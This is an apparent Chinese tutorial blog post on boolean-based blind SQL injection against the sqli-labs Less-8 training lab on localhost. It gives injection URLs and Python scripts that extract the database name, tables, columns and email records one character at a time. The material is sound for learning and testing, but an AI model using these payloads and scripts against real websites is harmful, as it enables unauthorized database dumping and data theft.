溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

SQL注入中布爾盲注的示例講解

發(fā)布時(shí)間:2021-09-23 14:53:56 來(lái)源:億速云 閱讀:120 作者:iii 欄目:數(shù)據(jù)庫(kù)

這篇文章主要介紹“SQL注入中布爾盲注的示例講解”,在日常操作中,相信很多人在SQL注入中布爾盲注的示例講解問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”SQL注入中布爾盲注的示例講解”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!

基于布爾的盲注

Web的頁(yè)面的僅僅會(huì)返回True和False。那么布爾盲注就是進(jìn)行SQL注入之后然后根據(jù)頁(yè)面返回的True或者是False來(lái)得到數(shù)據(jù)庫(kù)中的相關(guān)信息。

由于本次是布爾注入,手注無(wú)法完整地進(jìn)行脫褲。所以在本節(jié)需要編寫(xiě)大量的代碼來(lái)幫助我們進(jìn)行SQL注入,得到數(shù)據(jù)。所以在這章里面會(huì)有很多的Python代碼。

本次的示例就是Less-8。

通過(guò)進(jìn)行下面的語(yǔ)句的注入測(cè)試

http://localhost/sqlilabs/Less-8/?id=2'
http://localhost/sqlilabs/Less-8/?id=2"
http://localhost/sqlilabs/Less-8/?id=2\

進(jìn)行測(cè)試的時(shí)候,只有在id=2'的時(shí)候頁(yè)面無(wú)法顯示內(nèi)容。輸入的語(yǔ)句如果符合要求,頁(yè)面就會(huì)顯示內(nèi)容,但是顯示的內(nèi)容都是一樣的。這種情況下頁(yè)面上的輸出對(duì)于我們來(lái)說(shuō)是完全沒(méi)有用的,包括SQL執(zhí)行出錯(cuò)的信息都不會(huì)在頁(yè)面上顯示。這種情況下之前的通過(guò)執(zhí)行SQL語(yǔ)句然后在頁(yè)面上顯示SQL執(zhí)行之后返回的信息完全是不可能的啦。這種情況下就是一個(gè)典型的SQL盲注了。

我們通過(guò)頁(yè)面是否顯示內(nèi)容來(lái)判斷我們的SQL語(yǔ)句是否正確,進(jìn)而猜解數(shù)據(jù)庫(kù)的信息。

通過(guò)上面的注入測(cè)試,我們知道后臺(tái)的SQL的注入語(yǔ)句的寫(xiě)法是:

select field from table where id='userinput'

id參數(shù)是被單引號(hào)包括的。其他的信息我們就無(wú)法得到了。

得到數(shù)據(jù)庫(kù)的名稱

在得到數(shù)據(jù)庫(kù)的名稱之前,首先需要得到數(shù)據(jù)庫(kù)的長(zhǎng)度

http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23
以此類推
.....

發(fā)現(xiàn)當(dāng)值為8的時(shí)候,頁(yè)面就沒(méi)有顯示。那么說(shuō)明database()的長(zhǎng)度是8。

得到了datbase()的長(zhǎng)度之后,接下來(lái)就是得到database()的名稱了。

這個(gè)時(shí)候就不能完全靠手注了,必須編寫(xiě)Python代碼來(lái)完成。其中最主要就是進(jìn)行大量的注入測(cè)試來(lái)判斷程序執(zhí)行正確和出錯(cuò)的時(shí)機(jī),然后斷定當(dāng)前的值可能就是正確的值。

下面就是一個(gè)簡(jiǎn)單的使用Python來(lái)進(jìn)行布爾盲注獲取數(shù)據(jù)的代碼。

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長(zhǎng)度只有706和722
   if length>706:
    result += char
    break
 print(result)

得到最后的結(jié)果的是security,是正確的。

得到數(shù)據(jù)庫(kù)中的表信息

其實(shí)所有的SQL注入步驟都是類似的。首先得到數(shù)據(jù)庫(kù)的名稱(這一步不是必須的),然后得到當(dāng)前數(shù)據(jù)庫(kù)的表名稱,然后得到表的字段,最后進(jìn)行脫褲。這個(gè)步驟在前一章已經(jīng)有說(shuō)明了。

首先看一個(gè)簡(jiǎn)單的SQL盲注獲取數(shù)據(jù)庫(kù)表信息的寫(xiě)法。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23

其實(shí)還是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1這樣的語(yǔ)句來(lái)得到表的信息,但是現(xiàn)在是無(wú)法在頁(yè)面上顯示的,而是通過(guò)盲注來(lái)一個(gè)字符一個(gè)字符的獲取表名。

接下也同樣是通過(guò)編寫(xiě)Python代碼來(lái)獲取表名了。代碼也和上面的類似。主要就是修改中的URl。在進(jìn)行Python獲取表名之前,我們同樣需要知道表名的長(zhǎng)度。

使用如下的語(yǔ)句就可以得到了。

獲取表名的SQL注入的寫(xiě)法就是如下

http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

通過(guò)這種方式我們知道數(shù)據(jù)庫(kù)表中的第一個(gè)表名的長(zhǎng)度是6。知道了表名的長(zhǎng)度之后,接下來(lái)的Python腳本就很好寫(xiě)了。

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長(zhǎng)度只有706和722
   if length>706:
    result += char
    break
 print(result)

最后得到了第一個(gè)表名是emails,如果要得到其他的表名只需要將代碼limit 0,1修改成為limit 1,1或者是其他的就可以了。

得到表名的列信息

在得到列名之前,同樣需要知道在表中的字段長(zhǎng)度。例如我們想要知道在emails表中的長(zhǎng)度,那么就可以使用如下的語(yǔ)句來(lái)獲取。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23

修改num的值即可,從0開(kāi)始一直到到程序出錯(cuò)。通過(guò)這種方法,我們得到在emails中存在2個(gè)字段,字段的長(zhǎng)度分別是2,8。
得到了字段長(zhǎng)度之后,接下來(lái)就是進(jìn)行布爾注入得到字段名稱了。

在編寫(xiě)代碼之前,還是來(lái)看如何寫(xiě)獲取字段名稱的sql語(yǔ)句吧。下面這個(gè)代碼就是用來(lái)獲取字段名稱的代碼。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23

我們編寫(xiě)的Python代碼也是利用上面這個(gè)代碼來(lái)獲取字段名稱。

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長(zhǎng)度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過(guò)上面這個(gè)代碼,我們可以得到在emails表中存在的字段名稱分別是idemail_id

脫褲

在得到了字段名稱之后,接下來(lái)最重要的一步就是進(jìn)行脫褲了。
在進(jìn)行脫褲之前,我們首先判斷在emails表中有多少條記錄。

使用的語(yǔ)句如下:

http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23

修改>0中的0依次為1,2,3之后,我們得到在emails表中一共存在8條記錄。

那么接下來(lái)就是進(jìn)行脫褲了。

在脫褲之前,我們首先要知道當(dāng)前記錄的長(zhǎng)度,這個(gè)SQL語(yǔ)句也很好寫(xiě)。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23

最后我們知道在emails表中的第一條記錄中的email_id的長(zhǎng)度是16.

知道了長(zhǎng)度之后,代碼就很好寫(xiě)了。

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長(zhǎng)度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過(guò)上面的這段代碼就得到了內(nèi)容是Dumb@dhakkan.com,其他的內(nèi)容就同樣通過(guò)這段方式得到數(shù)據(jù)了。

到此,關(guān)于“SQL注入中布爾盲注的示例講解”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注億速云網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI